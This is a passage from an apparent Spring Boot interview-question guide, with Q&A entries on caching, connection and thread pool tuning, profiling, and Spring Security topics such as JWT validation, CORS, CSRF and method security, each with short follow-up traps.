    var defaults = RedisCacheConfiguration.defaultCacheConfig()
        .entryTtl(Duration.ofMinutes(10)).disableCachingNullValues();
    return RedisCacheManager.builder(cf).cacheDefaults(defaults)
        .withCacheConfiguration("prices", defaults.entryTtl(Duration.ofSeconds(30)))
        .build();
}
```

- `spring.cache.redis.time-to-live` sets a global default; there is no TTL by default (entries never expire).
- Caffeine `expireAfterWrite` vs `expireAfterAccess`: the latter lets hot keys live forever and go stale.

FOLLOW-UP TRAPS

- **Default Redis serializer?** JDK serialization; classes must be `Serializable`; use JSON (`GenericJackson2JsonRedisSerializer`) for readability, mindful of type info and class refactors.
- **Does a TTL guarantee freshness?** It bounds staleness only.

#ttl #configuration

Q7 A popular cache key expires and 500 requests simultaneously hit the DB. What is this and how do you stop it? ADVANCED

A cache stampede (thundering herd). Mitigate so that one caller recomputes while others wait or use stale data.

- `@Cacheable(sync = true)` makes Spring lock per key so only one thread loads (local to the JVM; Caffeine supports it natively, Redis does not coordinate across instances).
- Caffeine `refreshAfterWrite` with `LoadingCache` serves the old value while refreshing asynchronously.
- TTL jitter (random +/- 10%) avoids mass expiry at the same moment.
- Distributed lock (Redis `SET NX PX`) or request coalescing for cross-instance protection; probabilistic early refresh.

FOLLOW-UP TRAPS

- **Does `sync = true` allow multiple cache names or `unless`?** One cache only, and `unless` is not supported.
- **Does sync = true on Redis prevent stampede across pods?** No, per-JVM only.

#stampede #thundering-herd #sync

Q8 Cache and DB must stay consistent when two services write the same data. What strategy and what failure modes? ADVANCED

Use cache-aside: read from cache, on miss load and put; on write update DB first then delete (not update) the key. Race: reader loads old value from DB, writer updates and deletes, reader then writes the old value, leaving stale data until TTL.

- Mitigations: short TTL as a backstop, delayed double-delete, versioned values (reject older version), or CDC (Debezium) driven invalidation from the DB log.
- Write-through/write-behind make the cache the front door but add complexity and data-loss risk (write-behind).
- Accept eventual consistency and document the staleness window; do not cache data that needs strong consistency (balances).

FOLLOW-UP TRAPS

- **Delete then update DB, or update then delete?** Update then delete; deleting first lets a reader repopulate with old data.
- **Why delete rather than put on writes?** Avoids ordering races between concurrent writers.

#consistency #cache-aside #invalidation

Q9 **Hikari pool exhausted: "Connection is not available, request timed out after 30000ms". How do you diagnose?** INTERMEDIATE

Threads hold connections longer than they should, or demand exceeds the pool. Find leaks and long holds before increasing size.

- Enable `leakDetectionThreshold` (e.g. 20000 ms) to log stack traces of connections held too long.
- Causes: long transactions wrapping remote HTTP calls, OSIV holding connections during serialization, unclosed streams, `REQUIRES_NEW` nested connection needs, slow queries, locks waiting.
- Metrics: `hikaricp.connections.active/pending/usage/acquire` via Micrometer.
- Sizing guideline: `pool ≈ cores * 2 + effective spindles` is small (10 to 30); a bigger pool often worsens DB contention.

FOLLOW-UP TRAPS

- **Fix by raising `maximumPoolSize` to 200?** Usually makes it worse; the DB's own capacity (connections, CPU) is the limit.
- **Does `connectionTimeout` equal query timeout?** No, it is only the wait for a connection.

#hikaricp #connection-pool #diagnosis

Q10 **What Hikari settings matter in production and what are sensible defaults?** INTERMEDIATE

Defaults (max 10, minIdle = max) are generally good. Key settings:

```
spring:
  datasource:
    hikari:
      maximum-pool-size: 20
      minimum-idle: 20          # fixed-size pool recommended
      connection-timeout: 3000  # fail fast
      max-lifetime: 1500000     # < DB/LB idle kill (25 min)
      idle-timeout: 600000
      leak-detection-threshold: 20000
```

- `max-lifetime` must be shorter than any DB or network device connection timeout (MySQL `wait_timeout`, cloud LB idle timeout) to avoid "connection reset" errors.
- With many instances, total connections = instances * pool size; check against the DB's `max_connections` (PgBouncer helps).
- Set statement/transaction timeouts too (`spring.jpa.properties.jakarta.persistence.query.timeout`, `@Transactional(timeout)`).

FOLLOW-UP TRAPS

- **Is `minimum-idle` lower than max recommended?** Docs recommend a fixed-size pool for predictable performance.
- **Does `idle-timeout` apply when minIdle == max?** No effect.

#hikaricp #tuning #configuration

Q11 Tomcat request threads are all busy and latency spikes while CPU is low. What do you look at? ADVANCED

Threads are blocked on I/O (DB, HTTP calls, locks), not computing. Take a thread dump (`jcmd <pid> Thread.print`) and see what `http-nio-*-exec-*` threads wait on.

- Defaults: `server.tomcat.threads.max=200`, `accept-count=100`. Raising max just moves the queue; fix slow dependencies, add timeouts (connect/read) on every client and bulkheads/circuit breakers (Resilience4j).
- Pool sizing for CPU-bound: ~cores; for blocking: `cores * (1 + wait/compute)`.
- Java 21: `spring.threads.virtual.enabled=true` (Boot 3.2+) lets blocking calls scale, but the DB pool and downstream capacity remain bottlenecks, and `synchronized` pinning applies before JDK 24.

FOLLOW-UP TRAPS

- **Do virtual threads speed up CPU-bound work?** No.
- **Does adding threads fix pool starvation by Hikari?** No, more threads compete for the same connections.

#thread-pool #tomcat #blocking

Q12 `@Async` methods run but one service call blocks the whole app. What goes wrong with the executor? INTERMEDIATE

Without a custom executor, Boot auto-configures `ThreadPoolTaskExecutor` (core 8, unbounded queue, `applicationTaskExecutor`); an unbounded queue hides overload and grows memory. With `@EnableAsync` but self-invocation, the method runs synchronously.

```
@Bean
ThreadPoolTaskExecutor reportExecutor() {
    var e = new ThreadPoolTaskExecutor();
    e.setCorePoolSize(4); e.setMaxPoolSize(8);
    e.setQueueCapacity(100);
    e.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy());
    e.setThreadNamePrefix("report-");
    return e;
}
```

- Max threads only grow beyond core after the queue is full.
- Exceptions in `void @Async` methods are lost unless an `AsyncUncaughtExceptionHandler` is set; return `CompletableFuture` to propagate.
- Security and MDC context are not propagated to new threads without a `TaskDecorator`.

FOLLOW-UP TRAPS

- **Does `@Transactional` carry into `@Async`?** No, new thread, new transaction.
- **Why does the pool never reach max?** Unbounded queue; max applies only when the queue is full.

#async #taskexecutor #configuration

Q13 How would you add HTTP caching to a REST endpoint returning rarely changing data? INTERMEDIATE

Return `Cache-Control` and validators so clients and CDNs skip or revalidate.

```
@GetMapping("/products/{id}")
ResponseEntity<ProductDto> get(@PathVariable long id) {
    var p = service.get(id);
    return ResponseEntity.ok()
        .cacheControl(CacheControl.maxAge(Duration.ofMinutes(5)).cachePublic())
        .eTag(String.valueOf(p.version()))
        .body(p);
}
```

- `ShallowEtagHeaderFilter` computes ETags from the body: saves bandwidth (304) but not server work.
- `If-None-Match` handling with `request.checkNotModified(etag)` avoids building the body.
- Authenticated responses should use `private` or `no-store`; Spring Security adds `Cache-Control: no-cache, no-store` by default for secured responses.
- Add `Vary` headers for content negotiation (Accept-Encoding, Accept-Language).

FOLLOW-UP TRAPS

- **`no-cache` vs `no-store`?** `no-cache` allows storing but requires revalidation; `no-store` forbids storing.
- **Does Spring Security's default headers break static-asset caching?** Yes for secured paths; configure resource handlers outside security.

#http-caching #etag #cache-control

Q14 Responses are 2 MB JSON and slow over the network. What can you do without changing clients? BASIC

Enable response compression (`server.compression.enabled=true`, `min-response-size`, mime types), trim payloads (DTOs, pagination, sparse fields), and use HTTP/2.

- Compression costs CPU; often better done at the reverse proxy/CDN.
- Avoid compressing already-compressed content and avoid compressing secrets mixed with attacker-controlled input (BREACH) without mitigations.
- Jackson settings: omit nulls, use `@JsonView` or projections.

FOLLOW-UP TRAPS

- **Does Boot compress by default?** No.
- **Is gzip applied to small responses?** Only above `min-response-size` (default 2KB).

#compression #payload #http

Q15 Production latency p99 is 3 s while p50 is 80 ms. How do you investigate? ADVANCED

Tail latency comes from queuing, GC pauses, slow dependencies, lock contention or cold paths. Correlate by tracing and metrics before changing code.

- Distributed tracing (Micrometer Tracing + OpenTelemetry) breaks a slow request down by span (DB, HTTP).
- GC logs (`-Xlog:gc*`) or JFR (`jcmd <pid> JFR.start`) for pauses and allocation hot spots; async-profiler for CPU/wall-clock flame graphs.
- Check pool saturation (Hikari pending, Tomcat busy), DB slow query log, retries, and noisy neighbours.
- Look at percentiles per endpoint (`http.server.requests` histogram with `management.metrics.distribution.percentiles-histogram`).

FOLLOW-UP TRAPS

- **Is average latency useful?** No; percentiles reveal tails.
- **Does profiling in prod hurt?** JFR and async-profiler have low overhead; attach-based debuggers do not.

#profiling #latency #observability

Q16 **Your load test with 1000 virtual users reports great latency, but production degrades. What was wrong with the test?** ADVANCED

Common flaws: closed-model load (users wait for responses, hiding overload; use open-model arrival rate), coordinated omission (stalls not counted), small dataset (cached data), warmless JVM (no JIT warm-up), test client as bottleneck, missing think time/mix, and a non-prod-sized DB.

- Tools: k6, Gatling, JMeter; use constant arrival rate and ramp to saturation, watch error rates and queue growth.
- Realistic data volume and distribution (Zipf hot keys) matter for caches and plans.
- Test with the same pool sizes and resource limits (container CPU quotas change thread/GC ergonomics).

> **FOLLOW-UP TRAPS**
> - **Is a 5-minute test enough?** Include warm-up and soak to find leaks and GC trends.
> - **What metric tells you saturation?** Throughput plateaus while latency and queue depth rise.

#load-testing #coordinated-omission #methodology

Q17 **Caching a `List<Product>` result of `findAll()` and later updating one product. What is the pitfall?** INTERMEDIATE

A coarse cache entry (the whole list) becomes stale on any change, so you either evict everything on each write (low hit rate) or serve stale lists. Use per-entity caching plus ID lists, or `@CacheEvict(allEntries = true)` for rarely written reference data.

- Cached collections are mutable; callers modifying the returned list corrupt the cache with in-memory providers (Caffeine returns the same instance). Return immutable copies.
- Cache DTOs, not managed JPA entities (detached, lazy proxies break outside sessions).

> **FOLLOW-UP TRAPS**
> - **Does Caffeine store a copy?** No, a reference; mutations leak into the cache.
> - **Does `allEntries=true` work on Redis cheaply?** It scans/deletes by key prefix; expensive on large keyspaces.

#cache-granularity #eviction

Q18 **How do you cache with a composite condition: only for premium users or only when the result is non-empty?** BASIC

Use `condition` (checked before call, with args) and `unless` (checked after, with `#result`).

```
@Cacheable(value = "reports", key = "#userId",
           condition = "#premium", unless = "#result.isEmpty()")
public List<Row> report(long userId, boolean premium) { ... }
```

- If `condition` is false, the cache is neither read nor written.
- `unless` only vetoes writes; the lookup still happens.

> **FOLLOW-UP TRAPS**
> - **Can `condition` reference `#result`?** No, unavailable before the call.
> - **Does `@Cacheable` support a TTL attribute?** No, TTL belongs to the cache provider config.

#condition #unless #spel

Q19 **A scheduled job updates many rows; how do you refresh caches without a stampede at the next read?** ADVANCED

Pre-warm: after the job, repopulate keys (`@CachePut` or `cache.put`) in batches, or switch to a `LoadingCache` with `refreshAfterWrite` so reads serve stale data while a background refresh runs. Avoid `allEntries` eviction during peak traffic.

- Warm-up at startup (`ApplicationReadyEvent`) avoids cold-start spikes after deploys, but delay readiness until done only if needed.
- For Redis, use versioned key namespaces (`prices:v42:`), flip a pointer to the new version, and let old keys expire.

> **FOLLOW-UP TRAPS**
> - **Is evict-all then read cheaper than warm?** It risks the stampede; warm gradually.
> - **Why version keys?** Atomic switch with no mass delete.

#cache-warming #eviction #scheduling

Q20 **What does `spring.jpa.open-in-view=false` and `HikariCP` have to do with performance under load?** INTERMEDIATE

With OSIV on, a connection stays checked out after the service transaction ends until the response is rendered, so slow clients or serializers extend hold time and pool utilization. Turning it off shortens hold time to the transaction itself, raising throughput on the same pool.

- Combine with short transactions: do remote calls outside `@Transactional`.
- Measure `hikaricp.connections.usage` (time a connection is held) before and after.

> **FOLLOW-UP TRAPS**
> - **Do read-only endpoints still need a transaction?** For multi-query consistency yes; otherwise each statement uses its own connection checkout.
> - **Is pool size the first fix?** No, reduce hold time first.

#osiv #connection-hold #pool

Q21 **How can `ObjectMapper` and JSON serialization become a hotspot, and what do you do?** INTERMEDIATE

Large payloads, reflection on big graphs, and creating `ObjectMapper` per call (costly) show up in flame graphs. Reuse the Boot-managed mapper, return slim DTOs, stream large results (`StreamingResponseBody`, NDJSON), and paginate.

- Register the Afterburner/Blackbird module for faster access on older JDKs; avoid pretty printing in production.
- Avoid double serialization (string JSON stored in a cache then parsed again).

> **FOLLOW-UP TRAPS**
> - **Is `ObjectMapper` thread-safe?** Yes after configuration.
> - **Does returning `Page<Entity>` cost more?** It includes the count query and often lazy loads.

#jackson #serialization #cpu

Q22 **Describe a safe approach to cache user-specific data in a multi-tenant app.** ADVANCED

Include tenant (and user where needed) in the key so entries never cross tenants: `key = "#tenantId + ':' + #id"`. A cache keyed only by entity ID can leak another tenant's data, a data-breach class bug.

- Prefer a `KeyGenerator` that reads the tenant from the security/tenant context so developers cannot forget it.
- Separate Redis key prefixes per tenant allow targeted eviction and quotas.
- Never cache authorization decisions longer than permissions can change without an invalidation.

> **FOLLOW-UP TRAPS**
> - **Can SpEL access a bean such as the tenant resolver?** Yes, `@tenantContext.currentId()`.
> - **Is per-tenant cache manager worth it?** Only for strong isolation or per-tenant sizing.

#multi-tenancy #cache-key #security

Q23 What do you watch to know a cache is actually helping? BASIC

Hit ratio, load latency, eviction count and size. With Boot, Actuator exposes `cache.gets{result=hit|miss}`, `cache.puts`, `cache.evictions`; Caffeine requires `recordStats()` (`spring.cache.caffeine.spec=maximumSize=1000,recordStats`).

- Low hit ratio (<50%) with high keys cardinality means the cache wastes memory; consider a different granularity or drop it.
- Compare end-to-end latency, not just hit ratio.

FOLLOW-UP TRAPS

- **Are stats on by default for Caffeine?** No.
- **Is 99% hit ratio always good?** It can mask a hot-key skew or stale reads.

#metrics #hit-ratio #observability

Q24 `@Cacheable` with a Redis `GenericJackson2JsonRedisSerializer` throws `ClassCastException` after a deployment. Why? ADVANCED

Cached JSON/Java-serialized values contain the old class structure or type ids (`@class`); after a refactor (renamed package, changed fields, or deserialized `LinkedHashMap` instead of the DTO) old entries cannot be read, or are returned as maps and fail on cast.

- Version your cache key prefix with the schema/app version (`app:v3:`), or flush on incompatible deploys.
- Prefer records with explicit typed serializers (`Jackson2JsonRedisSerializer<T>`) per cache.
- Handle deserialization failures via `CacheErrorHandler` by treating them as a miss.

FOLLOW-UP TRAPS

- **Does rolling deployment make this worse?** Yes, old and new versions share the same Redis with different class shapes.
- **Is JDK serialization safer?** It is brittle across versions (`serialVersionUID`) and a security risk.

#redis #serialization #deployment

Q25 When is an in-memory `ConcurrentHashMap` cache a bad idea in Spring Boot? BASIC

It has no eviction, TTL, size bound, stats or stampede protection; it grows until OutOfMemoryError and is inconsistent across instances. Use Caffeine with `maximumSize` and expiry.

- `computeIfAbsent` holds bin locks while computing, blocking other keys in the same bin and failing on recursive updates.
- It is fine for tiny static lookup tables built at startup.

FOLLOW-UP TRAPS

- **Is `ConcurrentMapCacheManager` Boot's default?** Yes, when no other provider is on the classpath; unbounded.
- **Does `WeakHashMap` solve it?** No, entries vanish at GC unpredictably.

#anti-pattern #memory-leak

SPRING & HIBERNATE · CHAPTER 8

Spring Security & JWT

Security filter chain, SecurityFilterChain configuration, authentication vs authorization, password encoding, JWT lifecycle, OAuth2 resource server, method security, CSRF/CORS, stateless sessions, misconfigurations and testing.

26 questions **9** basic **11** intermediate **6** advanced

Scenarios

Q1 A request hits a Spring Boot 3 app with Spring Security. Describe what happens before the controller runs. BASIC

The servlet container passes the request to `DelegatingFilterProxy` / `FilterChainProxy` (the bean named `springSecurityFilterChain`), which selects the first `SecurityFilterChain` whose `securityMatcher` matches and runs its filters in order. Only if all pass does the request reach `DispatcherServlet`.

- Typical order: `SecurityContextHolderFilter`, `HeaderWriterFilter`, `CorsFilter`, `CsrfFilter`, `LogoutFilter`, authentication filters (`UsernamePasswordAuthenticationFilter`, `BearerTokenAuthenticationFilter`), `AnonymousAuthenticationFilter`, `ExceptionTranslationFilter`, `AuthorizationFilter`.
- Debug with `logging.level.org.springframework.security=DEBUG` or `@EnableWebSecurity(debug = true)` (dev only).

FOLLOW-UP TRAPS

- **Do multiple `SecurityFilterChain` beans all apply?** No, only the first matching one (by `@Order`) handles a request.
- **Where does `ExceptionTranslationFilter` sit and why?** Just before authorization, so it converts `AccessDeniedException` (401 entry point or 403) into HTTP responses.

#filter-chain #architecture

Q2 Write a minimal stateless `SecurityFilterChain` for a REST API in Spring Security 6. What changed from `WebSecurityConfigurerAdapter`? BASIC

`WebSecurityConfigurerAdapter` is removed; declare a `SecurityFilterChain` bean with the lambda DSL.

```
@Bean
SecurityFilterChain api(HttpSecurity http) throws Exception {
    return http
        .csrf(csrf -> csrf.disable())
        .sessionManagement(s -> s.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
        .authorizeHttpRequests(a -> a
            .requestMatchers("/actuator/health", "/auth/**").permitAll()
            .requestMatchers("/admin/**").hasRole("ADMIN")
            .anyRequest().authenticated())
        .oauth2ResourceServer(o -> o.jwt(Customizer.withDefaults()))
        .build();
}
```

- `authorizeHttpRequests` replaces `authorizeRequests`; `requestMatchers` replaces `antMatchers/mvcMatchers`.
- Rules are evaluated in order; first match wins, so put specific before general.

FOLLOW-UP TRAPS

- **What if `anyRequest()` is placed first?** Later rules are never reached (Spring Security 6 throws at startup if rules follow `anyRequest()`).
- **Is disabling CSRF OK?** For stateless APIs using bearer tokens in headers, yes; not for cookie-based auth.

#securityfilterchain #configuration #spring-security-6

Q3 **Users get 403 after login for `@PreAuthorize("hasRole('ADMIN')")`, though the DB has role `ADMIN`. Why?** BASIC

`hasRole('ADMIN')` checks for authority `ROLE_ADMIN`. If the granted authority is plain `ADMIN`, the check fails; use `hasAuthority('ADMIN')` or add the prefix when mapping.

- A role is just an authority with the `ROLE_` prefix by convention; `hasRole` adds it automatically.
- For JWT, the default `JwtGrantedAuthoritiesConverter` maps the `scope` / `scp` claim to `SCOPE_x` authorities; a `roles` claim needs a custom `JwtAuthenticationConverter` (`setAuthoritiesClaimName`, `setAuthorityPrefix("ROLE_")`).
- Method security with `@EnableMethodSecurity` must be on, otherwise annotations are silently ignored.

FOLLOW-UP TRAPS

- **Does `hasRole('ROLE_ADMIN')` work?** Yes, the prefix is not added twice.
- **Is `@EnableGlobalMethodSecurity` still valid?** Deprecated; use `@EnableMethodSecurity` (pre/post enabled by default in 6).

#role-vs-authority #prefix

Q4 **What is the difference between authentication and authorization in Spring Security's flow?** BASIC

Authentication establishes who the caller is: an `AuthenticationManager` (usually `ProviderManager`) delegates to `AuthenticationProvider`s and returns a populated `Authentication` stored in the `SecurityContext`. Authorization decides what that principal may do, evaluated by `AuthorizationFilter` (URL rules) or method interceptors.

- Failed authentication -> 401 via `AuthenticationEntryPoint`; authenticated but denied -> 403 via `AccessDeniedHandler`.
- Anonymous requests have an `AnonymousAuthenticationToken`, so "authenticated" checks differ from "not null".

FOLLOW-UP TRAPS

- **Which status for a missing/invalid token?** 401 (despite the name "Unauthorized").
- **Where is the `SecurityContext` held?** In a `ThreadLocal` via `SecurityContextHolder`, cleared at the end of the request.

#authentication #authorization #concepts

Q5 **How should passwords be stored, and what happens if you use `{noop}` or MD5?** BASIC

Use a slow, salted, adaptive hash: `BCryptPasswordEncoder` (cost 10-12), Argon2 (`Argon2PasswordEncoder`) or scrypt/PBKDF2. `PasswordEncoderFactories.createDelegatingPasswordEncoder()` prefixes hashes (`{bcrypt}...`) so algorithms can migrate over time.

- `{noop}` stores plaintext; a DB leak exposes all users. Fast hashes (MD5/SHA-256) can be brute-forced at billions/second.
- Never use an encoder as `new BCryptPasswordEncoder()` and compare with `equals`; use `matches(raw, encoded)`.
- Upgrade hashes on login with `UserDetailsPasswordService` when `upgradeEncoding` returns true.

FOLLOW-UP TRAPS

- **Is bcrypt hashing the same password twice identical?** No, each hash has a random salt.
- **Bcrypt max input?** 72 bytes; longer passwords are truncated (Spring Security 6.x rejects/handles per version), consider pre-hashing or Argon2.

#password-encoder #bcrypt

Q6 Design JWT access and refresh tokens for a Spring Boot API. What lifetimes and storage do you choose? INTERMEDIATE

Short-lived access token (5-15 min, stateless, sent as `Authorization: Bearer`) plus a long-lived opaque refresh token (days) stored server-side (hashed) to allow revocation and rotation.

- On refresh, issue a new access token and rotate the refresh token; if an old refresh token is reused, treat as theft and revoke the whole family.
- Browser storage: refresh token in an `HttpOnly; Secure; SameSite` cookie, access token in memory; localStorage exposes tokens to XSS.
- Claims: `sub`, `iss`, `aud`, `exp`, `iat`, `jti`, plus roles/scopes; keep payload small and non-sensitive (JWTs are signed, not encrypted).

FOLLOW-UP TRAPS

- **Can a JWT be revoked?** Not by itself; use short TTL, a `jti` denylist, or token versioning checked per request.
- **Is a JWT payload private?** No, base64url encoded and readable by anyone holding it.

#jwt #refresh-token #design

Q7 Walk through correct JWT validation. What do attackers exploit when it is done wrong? ADVANCED

Verify signature with a trusted key and a fixed expected algorithm, then check `exp`, `nbf`, `iss`, `aud`. Skipping any is a vulnerability.

- `alg: none` and algorithm confusion (HS256 with a public RSA key as the HMAC secret) work against libraries that trust the header's `alg`; pin the algorithm.
- Missing `aud` check lets a token for service A be accepted by service B.
- Spring's `NimbusJwtDecoder.withJwkSetUri(...)` / `withPublicKey(...).signatureAlgorithm(RS256)` validates the signature, `exp` and `nbf`; add `JwtValidators.createDefaultWithIssuer(issuer)` and an audience validator.
- Allow small clock skew (default 60 s).
- Prefer asymmetric keys (RS256/ES256) so resource servers hold only the public key; HS256 secrets must be at least 256 bits.

FOLLOW-UP TRAPS

- **Does Spring validate `aud` by default?** No, add a custom `OAuth2TokenValidator`.
- **Where do you get signing keys safely?** Authorization server JWKS endpoint with caching and rotation via `kid`.

#jwt #validation #security

Q8 How do you implement logout or revocation with stateless JWTs? ADVANCED

Because the server keeps no session, revocation needs state somewhere: keep access tokens short, revoke refresh tokens in the DB, and for immediate invalidation keep a denylist of `jti` (Redis with TTL equal to the token's remaining life) or a per-user `tokenVersion` / `not-before` timestamp checked in a filter or `OAuth2TokenValidator`.

- A denylist makes each request do a cache lookup; trade-off against pure statelessness.

- Changing a password or role should bump the version so older tokens fail.
- Clearing the token on the client is not revocation.

FOLLOW-UP TRAPS

- **Does the denylist need to keep entries forever?** No, only until the token's `exp`.
- **Is key rotation a revocation tool?** It invalidates all tokens signed with the old key, a blunt instrument for emergencies.

#jwt #revocation #logout

Q9 Configure Spring Boot as an OAuth2 resource server with an external IdP (Keycloak/Auth0). What's needed? INTERMEDIATE

Add `spring-boot-starter-oauth2-resource-server`, set the issuer URI so Boot discovers JWKS, and enable `oauth2ResourceServer(jwt)`.

```
spring:
  security:
    oauth2:
      resourceserver:
        jwt:
          issuer-uri: https://idp.example.com/realms/acme
```

- Boot fetches metadata lazily on first request and caches keys; if the IdP is down at that time, requests fail with 401/500, while `jwk-set-uri` avoids discovery.
- Map IdP-specific role claims (Keycloak `realm_access.roles`) with a custom `JwtAuthenticationConverter`.
- Use opaque token introspection (`opaquetoken`) when tokens are revocable and not JWTs.

FOLLOW-UP TRAPS

- **Does `issuer-uri` validate the `iss` claim?** Yes, the default validator checks it.
- **Where is the principal name from?** `sub` claim by default; configure `principalClaimName`.

#oauth2 #resource-server #jwk

Q10 A SPA calls your API from another origin and the browser shows a CORS error, yet Postman works. Why and how do you fix it? BASIC

CORS is enforced by browsers, not servers or Postman. The preflight `OPTIONS` request carries no credentials, so Spring Security rejects it with 401 before Spring MVC's CORS config applies unless CORS is enabled in the security chain.

```
http.cors(c -> c.configurationSource(req -> {
    var cfg = new CorsConfiguration();
    cfg.setAllowedOrigins(List.of("https://app.example.com"));
    cfg.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE"));
    cfg.setAllowedHeaders(List.of("Authorization", "Content-Type"));
    return cfg;
}));
```

- `allowedOrigins("*")` cannot be combined with `allowCredentials(true)`; list origins explicitly (or use origin patterns).
- CORS is not authorization; it just relaxes the browser's same-origin policy.

FOLLOW-UP TRAPS

- **Does CORS protect the API from non-browser clients?** No.
- **Why does `@CrossOrigin` not help with a 401 on preflight?** The security filter chain runs before MVC.

#cors #preflight

Q11 When is CSRF protection needed and what happens if you leave it enabled on a JWT API? INTERMEDIATE

CSRF attacks exploit browsers automatically attaching credentials (cookies, basic auth). Session-cookie apps need CSRF protection. A bearer-token API where the client sets the `Authorization` header explicitly is not vulnerable, so CSRF can be disabled.

- Left enabled, state-changing requests (POST/PUT/DELETE) without a CSRF token return 403 even with a valid JWT.
- If the JWT is stored in a cookie and sent automatically, CSRF protection is needed again (or `SameSite=Strict` plus a custom header check).
- For SPAs with cookie sessions use `CookieCsrfTokenRepository.withHttpOnlyFalse()` and the Spring Security 6 `XorCsrfTokenRequestAttributeHandler` / SPA handler.

> **FOLLOW-UP TRAPS**
> - **Does CSRF apply to GET?** Safe methods are not checked, which is why GET must not change state.
> - **Is `SameSite=Lax` a complete replacement?** It mitigates most but not all cases (subdomains, GET side effects).

#csrf #stateless

Q12 Which common misconfigurations leave endpoints accidentally open? INTERMEDIATE

Frequent mistakes:

- `permitAll()` on `/**` or broad patterns placed before restricted rules (first match wins).
- Mismatch between MVC path and matcher: trailing slash or `/api/users/` vs `/api/users`; Spring 6 `requestMatchers(String)` uses the MVC matcher if Spring MVC is present but servlet-path prefixes require `MvcRequestMatcher` explicit config.
- Actuator exposed (`management.endpoints.web.exposure.include=*`) without authentication; `/h2-console` left on.
- Method security not enabled so `@PreAuthorize` is ignored.
- Trusting client-provided `X-Forwarded-*`/user-id headers; IDOR (checking authentication but not ownership).
- Disabling security for tests and shipping it.

> **FOLLOW-UP TRAPS**
> - **Does `web.ignoring()` skip the filter chain?** Yes, including security headers; prefer `permitAll` in the chain.
> - **Is authenticated enough for `/users/{id}`?** No, verify the principal owns or may access that ID.

#misconfiguration #matchers

Q13 Explain `@PreAuthorize`, `@PostAuthorize` and `@PreFilter`. When do they fail silently? INTERMEDIATE

`@PreAuthorize` evaluates a SpEL expression before invocation, `@PostAuthorize` after (can use `returnObject`), `@PreFilter/@PostFilter` filter collections.

```
@PreAuthorize("hasAuthority('SCOPE_orders.read') or #userId == authentication.name")
public List<Order> byUser(String userId) { ... }

@PostAuthorize("returnObject.owner == authentication.name")
public Order get(long id) { ... }
```

- They require `@EnableMethodSecurity` and proxy-based invocation: self-invocation and private methods are not protected.
- `@PostAuthorize` runs after side effects (updates) happen; use pre checks for writes.

- Method security applies on the service layer too, giving defense in depth beyond URL rules.

> **FOLLOW-UP TRAPS**
> - **Does `@PostFilter` scale?** It loads then filters in memory; prefer query-level filtering.
> - **Which wins, URL rule or method rule?** Both must pass.

#method-security #spel

Q14 How do you get the current user in a controller and in a background thread? INTERMEDIATE

In controllers use `@AuthenticationPrincipal UserDetails` / `Jwt` or `Authentication` parameters. The `SecurityContext` is thread-bound, so new threads (`@Async`, `CompletableFuture`, executors) see none unless propagated.

- Wrap executors with `DelegatingSecurityContextExecutor` / `DelegatingSecurityContextAsyncTaskExecutor`, or set `SecurityContextHolder.MODE_INHERITABLETHREADLOCAL` (unreliable with pools).
- With virtual threads and structured concurrency prefer passing the principal explicitly.
- Scheduled jobs have no user; run them under a system identity.

> **FOLLOW-UP TRAPS**
> - **Does `@Async` keep the user?** Not by default.
> - **Is `SecurityContextHolder` safe to read after the request ends?** It is cleared; capture what you need as plain values.

#securitycontext #async #threadlocal

Q15 Implement a custom JWT filter versus using the resource server support. Which do you pick? INTERMEDIATE

Prefer `oauth2ResourceServer().jwt()`: it handles parsing, signature and standard claim validation, JWKS, error responses (`WWW-Authenticate`), and is maintained. Write a custom `OncePerRequestFilter` only for non-standard needs, and then test it thoroughly.

```
// extract, validate, then set the context
var auth = new UsernamePasswordAuthenticationToken(user, null, authorities);
SecurityContextHolder.getContext().setAuthentication(auth);
chain.doFilter(request, response);
```

- Custom filters must register before `UsernamePasswordAuthenticationFilter` (`addFilterBefore`), skip public paths, and on invalid tokens let the entry point respond rather than silently continuing as anonymous with partial state.
- Do not declare the filter as a `@Component` unintentionally, it will also be registered as a servlet filter globally and run twice.

> **FOLLOW-UP TRAPS**
> - **Why does my filter run twice?** It is both a bean (auto-registered) and in the security chain; disable with a `FilterRegistrationBean`.
> - **Should the filter hit the DB on each request?** Avoid; trust validated claims or cache.

#jwt-filter #design #custom

Q16 Test a secured endpoint: how do you write a MockMvc test for roles and for JWT claims? INTERMEDIATE

Use `spring-security-test` helpers.

```
mvc.perform(get("/admin/stats").with(jwt().authorities(new
SimpleGrantedAuthority("ROLE_ADMIN"))))
   .andExpect(status().isOk());

mvc.perform(post("/orders").with(jwt()).with(csrf()).content(json))
   .andExpect(status().isForbidden()); // lacks authority
```

- `@WithMockUser(roles = "ADMIN")` sets a context directly, bypassing authentication filters; `.with(jwt())` exercises the resource server path.
- Test the negative cases: no token -> 401, wrong role -> 403, other user's resource -> 403/404.
- `@WebMvcTest` needs your `SecurityFilterChain` imported (`@Import(SecurityConfig.class)`) and a `JwtDecoder` mock bean.

FOLLOW-UP TRAPS

- **Why does my POST test return 403 with `@WithMockUser`?** CSRF is enabled; add `.with(csrf())` or disable it for stateless apps.
- **Does `@WithMockUser` test method security?** Yes, if `@EnableMethodSecurity` is loaded.

#testing #mockmvc #spring-security-test

Q17 Login works with a form but you need both session-based UI and a stateless API in one app. How? ADVANCED

Declare two `SecurityFilterChain` beans with `securityMatcher` and `@Order`: the API chain (`/api/**`, stateless, bearer JWT, no CSRF) first, and the web chain (everything else, form login, sessions, CSRF) last.

- Without `securityMatcher` on the first chain, it matches everything and the second never runs.
- Each chain has its own entry point: API returns 401 JSON, web redirects to login.
- Session fixation protection and `maximumSessions` apply only to the session chain.

FOLLOW-UP TRAPS

- **Does `STATELESS` prevent Spring from reading an existing session?** It stops creating and using sessions for the SecurityContext, but the container may still create one elsewhere.
- **Can the same user object be shared?** Yes, via a shared `UserDetailsService`.

#multiple-chains #session

Q18 How do you secure against brute-force login and credential stuffing? INTERMEDIATE

Combine rate limiting per IP and per account, progressive delays or lockout (with care for DoS on accounts), MFA, breached-password checks, and uniform error messages that do not reveal whether a username exists.

- Implement via an `AuthenticationFailureBadCredentialsEvent` listener counting failures in Redis, or a gateway/Bucket4j filter.
- Prevent timing-based user enumeration: `DaoAuthenticationProvider` hides user-not-found (`hideUserNotFoundExceptions=true`) and runs a dummy hash match.
- Audit-log auth events (`AuthenticationSuccessEvent`).

FOLLOW-UP TRAPS

